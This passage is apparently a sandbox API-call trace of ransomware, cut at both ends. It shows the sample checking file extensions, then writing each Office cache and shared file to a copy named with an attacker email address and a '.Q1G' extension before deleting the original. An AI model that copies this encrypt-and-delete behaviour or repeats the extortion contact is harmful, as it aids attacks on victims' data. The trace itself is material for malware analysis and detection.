lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0037.498] lstrlenW (lpString=".rar") returned 4 [0037.498] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0037.498] lstrlenW (lpString=".bz2") returned 4 [0037.498] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0037.498] lstrlenW (lpString=".7z") returned 3 [0037.498] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0037.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0037.498] lstrlenW (lpString=".dbf") returned 4 [0037.498] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0037.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0037.498] lstrlenW (lpString=".1cd") returned 4 [0037.498] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0037.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0037.498] lstrlenW (lpString=".jpg") returned 4 [0037.498] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0037.498] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0037.498] lstrlenW (lpString="Setup.xml") returned 9 [0037.498] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0037.504] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=16683) returned 1 [0037.504] CloseHandle (hObject=0x1d0) returned 1 [0037.504] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.505] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.505] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0037.505] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.505] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.505] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0037.506] GetLastError () returned 0x0 [0037.506] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x412b, lpOverlapped=0x0) returned 1 [0037.520] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0037.521] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.521] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.521] SetEndOfFile (hFile=0x1ec) returned 1 [0037.521] CloseHandle (hObject=0x1ec) returned 1 [0037.522] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.522] SetEndOfFile (hFile=0x1d0) returned 1 [0037.522] CloseHandle (hObject=0x1d0) returned 1 [0037.523] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.523] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.523] lstrlenW (lpString=".doc") returned 4 [0037.523] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.523] lstrlenW (lpString=".docx") returned 5 [0037.523] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.523] lstrlenW (lpString=".pdf") returned 4 [0037.523] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.523] lstrlenW (lpString=".xls") returned 4 [0037.523] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.523] lstrlenW (lpString=".xlsx") returned 5 [0037.523] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.523] lstrlenW (lpString=".ppt") returned 4 [0037.523] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.523] lstrlenW (lpString=".zip") returned 4 [0037.523] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.523] lstrlenW (lpString=".rar") returned 4 [0037.523] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.523] lstrlenW (lpString=".bz2") returned 4 [0037.524] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.524] lstrlenW (lpString=".7z") returned 3 [0037.524] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.524] lstrlenW (lpString=".dbf") returned 4 [0037.524] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.524] lstrlenW (lpString=".1cd") returned 4 [0037.524] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.524] lstrlenW (lpString=".jpg") returned 4 [0037.524] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.524] lstrlenW (lpString=".doc") returned 4 [0037.524] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.524] lstrlenW (lpString=".docx") returned 5 [0037.524] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.524] lstrlenW (lpString=".pdf") returned 4 [0037.524] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.524] lstrlenW (lpString=".xls") returned 4 [0037.524] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.524] lstrlenW (lpString=".xlsx") returned 5 [0037.524] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.524] lstrlenW (lpString=".ppt") returned 4 [0037.524] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.524] lstrlenW (lpString=".zip") returned 4 [0037.524] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.524] lstrlenW (lpString=".rar") returned 4 [0037.524] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.524] lstrlenW (lpString=".bz2") returned 4 [0037.524] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.525] lstrlenW (lpString=".7z") returned 3 [0037.525] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.525] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.525] lstrlenW (lpString=".dbf") returned 4 [0037.525] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.525] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.525] lstrlenW (lpString=".1cd") returned 4 [0037.525] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.525] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.525] lstrlenW (lpString=".jpg") returned 4 [0037.525] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.525] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0037.525] lstrlenW (lpString="Setup.xml") returned 9 [0037.525] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0037.525] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=20577) returned 1 [0037.525] CloseHandle (hObject=0x1d0) returned 1 [0037.525] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.526] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.526] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0037.526] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.526] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.526] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0037.528] GetLastError () returned 0x0 [0037.528] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x5061, lpOverlapped=0x0) returned 1 [0037.536] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0037.537] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.537] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.537] SetEndOfFile (hFile=0x1ec) returned 1 [0037.537] CloseHandle (hObject=0x1ec) returned 1 [0037.538] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.538] SetEndOfFile (hFile=0x1d0) returned 1 [0037.539] CloseHandle (hObject=0x1d0) returned 1 [0037.539] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.539] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.540] lstrlenW (lpString=".doc") returned 4 [0037.540] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.540] lstrlenW (lpString=".docx") returned 5 [0037.540] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.540] lstrlenW (lpString=".pdf") returned 4 [0037.540] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.540] lstrlenW (lpString=".xls") returned 4 [0037.540] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.540] lstrlenW (lpString=".xlsx") returned 5 [0037.540] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.540] lstrlenW (lpString=".ppt") returned 4 [0037.540] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.540] lstrlenW (lpString=".zip") returned 4 [0037.540] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.540] lstrlenW (lpString=".rar") returned 4 [0037.540] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.540] lstrlenW (lpString=".bz2") returned 4 [0037.540] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.540] lstrlenW (lpString=".7z") returned 3 [0037.540] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.540] lstrlenW (lpString=".dbf") returned 4 [0037.540] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.540] lstrlenW (lpString=".1cd") returned 4 [0037.540] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.541] lstrlenW (lpString=".jpg") returned 4 [0037.541] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.541] lstrlenW (lpString=".doc") returned 4 [0037.541] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.541] lstrlenW (lpString=".docx") returned 5 [0037.541] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.541] lstrlenW (lpString=".pdf") returned 4 [0037.541] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.541] lstrlenW (lpString=".xls") returned 4 [0037.541] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.541] lstrlenW (lpString=".xlsx") returned 5 [0037.541] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.541] lstrlenW (lpString=".ppt") returned 4 [0037.541] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.541] lstrlenW (lpString=".zip") returned 4 [0037.541] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.541] lstrlenW (lpString=".rar") returned 4 [0037.541] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.541] lstrlenW (lpString=".bz2") returned 4 [0037.541] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.541] lstrlenW (lpString=".7z") returned 3 [0037.541] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.541] lstrlenW (lpString=".dbf") returned 4 [0037.541] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.541] lstrlenW (lpString=".1cd") returned 4 [0037.541] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.542] lstrlenW (lpString=".jpg") returned 4 [0037.542] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.542] lstrcmpiW (lpString1=".EPS", lpString2=".Q1G") returned -1 [0037.542] lstrlenW (lpString="MS.EPS") returned 6 [0037.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0037.543] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=15067) returned 1 [0037.543] CloseHandle (hObject=0x1d0) returned 1 [0037.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0037.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0037.544] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.544] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0037.544] GetLastError () returned 0x0 [0037.544] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x3adb, lpOverlapped=0x0) returned 1 [0037.546] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0037.547] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.547] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0037.547] SetEndOfFile (hFile=0x1ec) returned 1 [0037.547] CloseHandle (hObject=0x1ec) returned 1 [0037.549] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.549] SetEndOfFile (hFile=0x1d0) returned 1 [0037.550] CloseHandle (hObject=0x1d0) returned 1 [0037.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0037.550] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0037.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.551] lstrlenW (lpString=".doc") returned 4 [0037.551] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0037.551] lstrlenW (lpString=".docx") returned 5 [0037.551] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0037.551] lstrlenW (lpString=".pdf") returned 4 [0037.551] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0037.551] lstrlenW (lpString=".xls") returned 4 [0037.551] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0037.551] lstrlenW (lpString=".xlsx") returned 5 [0037.551] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0037.551] lstrlenW (lpString=".ppt") returned 4 [0037.551] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0037.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.551] lstrlenW (lpString=".zip") returned 4 [0037.551] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0037.551] lstrlenW (lpString=".rar") returned 4 [0037.551] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0037.551] lstrlenW (lpString=".bz2") returned 4 [0037.551] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0037.551] lstrlenW (lpString=".7z") returned 3 [0037.551] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0037.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.551] lstrlenW (lpString=".dbf") returned 4 [0037.551] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0037.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.552] lstrlenW (lpString=".1cd") returned 4 [0037.552] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0037.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.552] lstrlenW (lpString=".jpg") returned 4 [0037.552] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0037.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.552] lstrlenW (lpString=".doc") returned 4 [0037.552] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0037.552] lstrlenW (lpString=".docx") returned 5 [0037.552] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0037.552] lstrlenW (lpString=".pdf") returned 4 [0037.552] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0037.552] lstrlenW (lpString=".xls") returned 4 [0037.552] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0037.552] lstrlenW (lpString=".xlsx") returned 5 [0037.552] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0037.552] lstrlenW (lpString=".ppt") returned 4 [0037.552] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0037.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.552] lstrlenW (lpString=".zip") returned 4 [0037.552] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0037.552] lstrlenW (lpString=".rar") returned 4 [0037.552] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0037.552] 